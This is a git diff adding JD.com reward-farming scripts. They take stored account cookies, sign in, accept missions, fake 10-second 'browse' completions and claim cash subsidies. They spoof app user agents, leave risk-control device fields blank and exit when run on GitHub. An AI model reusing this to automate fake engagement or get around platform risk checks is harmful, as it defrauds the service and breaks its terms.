options = { + url: `https://api.m.jd.com/`, + body: `functionId=apCashWithDraw&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': $.cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://joypark.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc5`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`提现成功!`) + allMessage += `京东账号${$.index} ${$.UserName}见缝插针成功!\n`; + } else { + console.log(`提现:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`提现:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/jd_jin_tie_xh.js b/jd_jin_tie_xh.js new file mode 100644 index 0000000..cd0ef6b --- /dev/null +++ b/jd_jin_tie_xh.js @@ -0,0 +1,690 @@ +/* + 领金贴(只做签到以及互助任务里面的部分任务) Fixed By X1a0He + Last Modified time: 2021-09-04 22:25:00 + Last Modified By X1a0He + 活动入口:京东APP首页-领金贴,[活动地址](https://active.jd.com/forever/cashback/index/) + */ +const $ = new Env('领金贴'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMessage = ''; +if($.isNode()){ + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if(process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async() => { + if(!cookiesArr[0]){ + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for(let i = 0; i < cookiesArr.length; i++){ + if(cookiesArr[i]){ + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if($.isNode()){ + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function main(){ + try{ + await channelUserSignInfo_xh(); + await queryMission_xh(); + await channelUserSubsidyInfo_xh(); + } catch(e){ + $.logErr(e) + } +} + +function channelUserSignInfo_xh(){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_APP", + "channel": "scljticon", + "channelLv": "scljticon", + "apiVersion": "4.0.0", + "riskDeviceParam": `{\"macAddress\":\"\",\"imei\":\"\",\"eid\":\"\",\"openUUID\":\"\",\"uuid\":\"\",\"traceIp\":\"\",\"os\":\"\",\"osVersion\":\"\",\"appId\":\"\",\"clientVersion\":\"\",\"resolution\":\"\",\"channelInfo\":\"\",\"networkType\":\"\",\"startNo\":42,\"openid\":\"\",\"token\":\"\",\"sid\":\"\",\"terminalType\":\"\",\"longtitude\":\"\",\"latitude\":\"\",\"securityData\":\"\",\"jscContent\":\"\",\"fnHttpHead\":\"\",\"receiveRequestTime\":\"\",\"port\":80,\"appType\":\"\",\"deviceType\":\"\",\"fp\":\"\",\"ip\":\"\",\"idfa\":\"\",\"sdkToken\":\"\"}`, + "others": { "shareId": "" } + }) + const options = taskUrl_xh('channelUserSignInfo', body, 'jrm'); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '000'){ + $.keepSigned = 0; + let state = false; + for(let i in data.resultData.data.signDetail){ + if(data.resultData.data.signDetail[i].signed) $.keepSigned += 1 + if(data.resultData.data.dayId === data.resultData.data.signDetail[i].id){ + state = data.resultData.data.signDetail[i].signed + console.log('获取签到状态成功', state ? '今日已签到' : '今日未签到', '连续签到', $.keepSigned, '天\n') + } + } + if(!state) await channelSignInSubsidy_xh() + } else { + console.log('获取签到状态失败', data.resultData.msg) + } + } else { + console.log('获取签到状态失败', data.resultMsg) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function channelSignInSubsidy_xh(){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_APP", + "channel": "scljticon", + "channelLv": "scljticon", + "apiVersion": "4.0.0", + "riskDeviceParam": `{\"macAddress\":\"\",\"imei\":\"\",\"eid\":\"\",\"openUUID\":\"\",\"uuid\":\"\",\"traceIp\":\"\",\"os\":\"\",\"osVersion\":\"\",\"appId\":\"\",\"clientVersion\":\"\",\"resolution\":\"\",\"channelInfo\":\"\",\"networkType\":\"\",\"startNo\":42,\"openid\":\"\",\"token\":\"\",\"sid\":\"\",\"terminalType\":\"\",\"longtitude\":\"\",\"latitude\":\"\",\"securityData\":\"\",\"jscContent\":\"\",\"fnHttpHead\":\"\",\"receiveRequestTime\":\"\",\"port\":80,\"appType\":\"\",\"deviceType\":\"\",\"fp\":\"\",\"ip\":\"\",\"idfa\":\"\",\"sdkToken\":\"\"}`, + "others": { "shareId": "" } + }) + const options = taskUrl_xh('channelSignInSubsidy', body, 'jrm'); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '000'){ + if(data.resultData.data.signSuccess){ + console.log(`签到成功,获得 0.0${data.resultData.data.rewardAmount}元`) + } + } else if(data.resultData.code === '001'){ + console.log(`签到失败,可能今天已签到`) + } else { + // console.log(data) + console.log("签到失败") + } + } else { + // console.log(data) + console.log("签到失败") + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function queryMission_xh(){ + return new Promise((resolve) => { + $.taskData = []; + const options = { + url: "https://ms.jr.jd.com/gw/generic/mission/h5/m/queryMission?reqData=%7B%22channelCode%22:%22SUBSIDY2%22,%22riskDeviceParam%22:%22%7B%5C%22eid%5C%22:%5C%22%5C%22,%5C%22fp%5C%22:%5C%22%5C%22,%5C%22sdkToken%5C%22:%5C%22%5C%22,%5C%22token%5C%22:%5C%22%5C%22,%5C%22undefined%5C%22:%5C%22%5C%22%7D%22,%22channel%22:%22%22%7D", + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '0000'){ + console.log('互动任务获取成功') + $.taskData = data.resultData.data; + for(let task of $.taskData){ + if(task.missionId !== 4648){ + console.log(`\n任务id:${task.missionId} 任务状态:${task.status}`) + if(task.status === -1){ + console.log(`正在做任务:${task.missionId}`) + await receiveMission_xh(task.missionId) + await queryMissionReceiveAfterStatus_xh(task.missionId) + } else if(task.status === 0){ + await queryMissionReceiveAfterStatus_xh(task.missionId) + } else if(task.status === 1){ + console.log(`正在领取任务:${task.missionId} 奖励`) + await awardMission_xh(task.missionId) + } else if(task.status === 2){ + console.log(`任务id:${task.missionId} 已完成`) + } + } + } + } else { + console.log('获取互动任务失败', data) + } + } else { + console.log('获取互动任务失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function receiveMission_xh(missionId){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "missionId": `${missionId}`, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }) + const options = taskUrl_xh('receiveMission', body); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '0000'){ + if(data.resultData.success){ + console.log('领取任务成功') + } + } else if(data.resultData.code === '0005'){ + console.log('已经接取过该任务') + } else { + console.log('领取任务失败', data) + } + } else { + console.log('领取任务失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function queryMissionReceiveAfterStatus_xh(taskId){ + return new Promise((resolve) => { + const body = JSON.stringify({ "missionId": `${taskId}` }) + const options = taskUrl_xh('queryMissionReceiveAfterStatus', body); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '0000'){ + console.log('正在浏览,等待10s') + await $.wait(10000) + await finishReadMission_xh(`${taskId}`) + } else if(data.resultData.code === '0003'){ + console.log('任务浏览失败', "非法参数") + } else if(data.resultData.code === '0001'){ + console.log('任务浏览失败', "状态不正确") + } else { + console.log("任务浏览失败", data) + } + } else { + console.log('任务浏览失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function finishReadMission_xh(missionId){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "missionId": `${missionId}`, + "readTime": 10 + }) + const options = taskUrl_xh('finishReadMission', body); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '0000'){ + if(data.resultData.success){ + console.log('任务执行成功') + await awardMission_xh(missionId) + } + } else if(data.resultData.code === '0001' || data.resultData.code === '0004'){ + console.log('状态不正确') + } else { + console.log('任务执行失败', data) + } + } else { + console.log('任务执行失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function awardMission_xh(missionId){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "missionId": `${missionId}`, + "channelCode": "SUBSIDY2", + "timeStamp": new Date().toString(), + "env": "JDAPP" + }) + const options = taskUrl_xh('awardMission', body); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '0000'){ + if(data.resultData.success){ + console.log('领取金贴成功') + } + } else if(data.resultData.code === '0004'){ + console.log('不满足领奖条件,可能已经完成') + } else { + console.log('领取金贴失败', data) + } + } else { + console.log('领取金贴失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function channelUserSubsidyInfo_xh(){ + return new Promise((resolve) => { + const body = JSON.stringify({ + "source": "JD_APP", + "channel": "scljticon", + "channelLv": "scljticon", + "apiVersion": "4.0.0", + "riskDeviceParam": `{\"macAddress\":\"\",\"imei\":\"\",\"eid\":\"\",\"openUUID\":\"\",\"uuid\":\"\",\"traceIp\":\"\",\"os\":\"\",\"osVersion\":\"\",\"appId\":\"\",\"clientVersion\":\"\",\"resolution\":\"\",\"channelInfo\":\"\",\"networkType\":\"\",\"startNo\":42,\"openid\":\"\",\"token\":\"\",\"sid\":\"\",\"terminalType\":\"\",\"longtitude\":\"\",\"latitude\":\"\",\"securityData\":\"\",\"jscContent\":\"\",\"fnHttpHead\":\"\",\"receiveRequestTime\":\"\",\"port\":80,\"appType\":\"\",\"deviceType\":\"\",\"fp\":\"\",\"ip\":\"\",\"idfa\":\"\",\"sdkToken\":\"\"}`, + "others": { "shareId": "" } + }) + const options = taskUrl_xh('channelUserSubsidyInfo', body, 'jrm'); + $.get(options, async(err, resp, data) => { + try{ + if(err){ + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if(data.resultCode === 0){ + if(data.resultData.code === '000'){ + console.log(`\n京东账号${$.index} ${$.nickName || $.UserName} 当前总金贴:${data.resultData.data.availableAmount}元`) + } else { + console.log('获取当前总金贴失败', data) + } + } else { + console.log('获取当前总金贴失败', data) + } + } + } catch(e){ + $.logErr(e, resp); + } finally{ + resolve(data); + } + }) + }) +} + +function taskUrl_xh(function_id, body, type = 'mission'){ + return { + url: `https://ms.jr.jd.com/gw/generic/${type}/h5/m/${function_id}?reqData=${encodeURIComponent(body)}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + } + } +} + +function TotalBean(){ + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try{ + if(err){ + $.logErr(err) + } else { + if(data){ + data = JSON.parse(data); + if(data['retcode'] === "1001"){ + $.isLogin = false; //cookie过期 + return; + } + if(data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")){ + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch(e){ + $.logErr(e) + } finally{ + resolve(); + } + }) + }) +} + +// prettier-ignore +function Env(t, e){ + class s{ + constructor(t){this.env = t} + + send(t, e = "GET"){ + t = "string" == typeof t ? { url: t } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => {s.call(this, t, (t, s, r) => {t ? i(t) : e(s)})}) + } + + get(t){return this.send.call(this.env, t)} + + post(t){return this.send.call(this.env, t, "POST")} + } + + return new class{ + constructor(t, e){this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`)} + + isNode(){return "undefined" != typeof module && !!module.exports} + + isQuanX(){return "undefined" != typeof $task} + + isSurge(){return "undefined" != typeof $httpClient && "undefined" == typeof $loon} + + isLoon(){return "undefined" != typeof $loon} + + toObj(t, e = null){try{return JSON.parse(t)} catch{return e}} + + toStr(t, e = null){try{return JSON.stringify(t)} catch{return e}} + + getjson(t, e){ + let s = e; + const i = this.getdata(t); + if(i) try{s = JSON.parse(this.getdata(t))} catch{} + return s + } + + setjson(t, e){try{return this.setdata(JSON.stringify(t), e)} catch{return !1}} + + getScript(t){return new Promise(e => {this.get({ url: t }, (t, s, i) => e(i))})} + + runScript(t, e){ + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { script_text: t, mock_type: "cron", timeout: r }, + headers: { "X-Key": o, Accept: "*/*" } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata(){ + if(!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if(!s && !i) return {}; + { + const i = s ? t : e; + try{return JSON.parse(this.fs.readFileSync(i))} catch(t){return {}} + } + } + } + + writedata(){ + if(this.isNode()){ + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s){ + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for(const t of i) if(r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s){return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)} + + getdata(t){ + let e = this.getval(t); + if(/^@/.test(t)){ + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if(r) try{ + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch(t){e = ""} + } + return e + } + + setdata(t, e){ + let s = !1; + if(/^@/.test(e)){ + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try{ + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch(e){ + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t){return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null} + + setval(t, e){return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null} + + initGotEnv(t){this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : 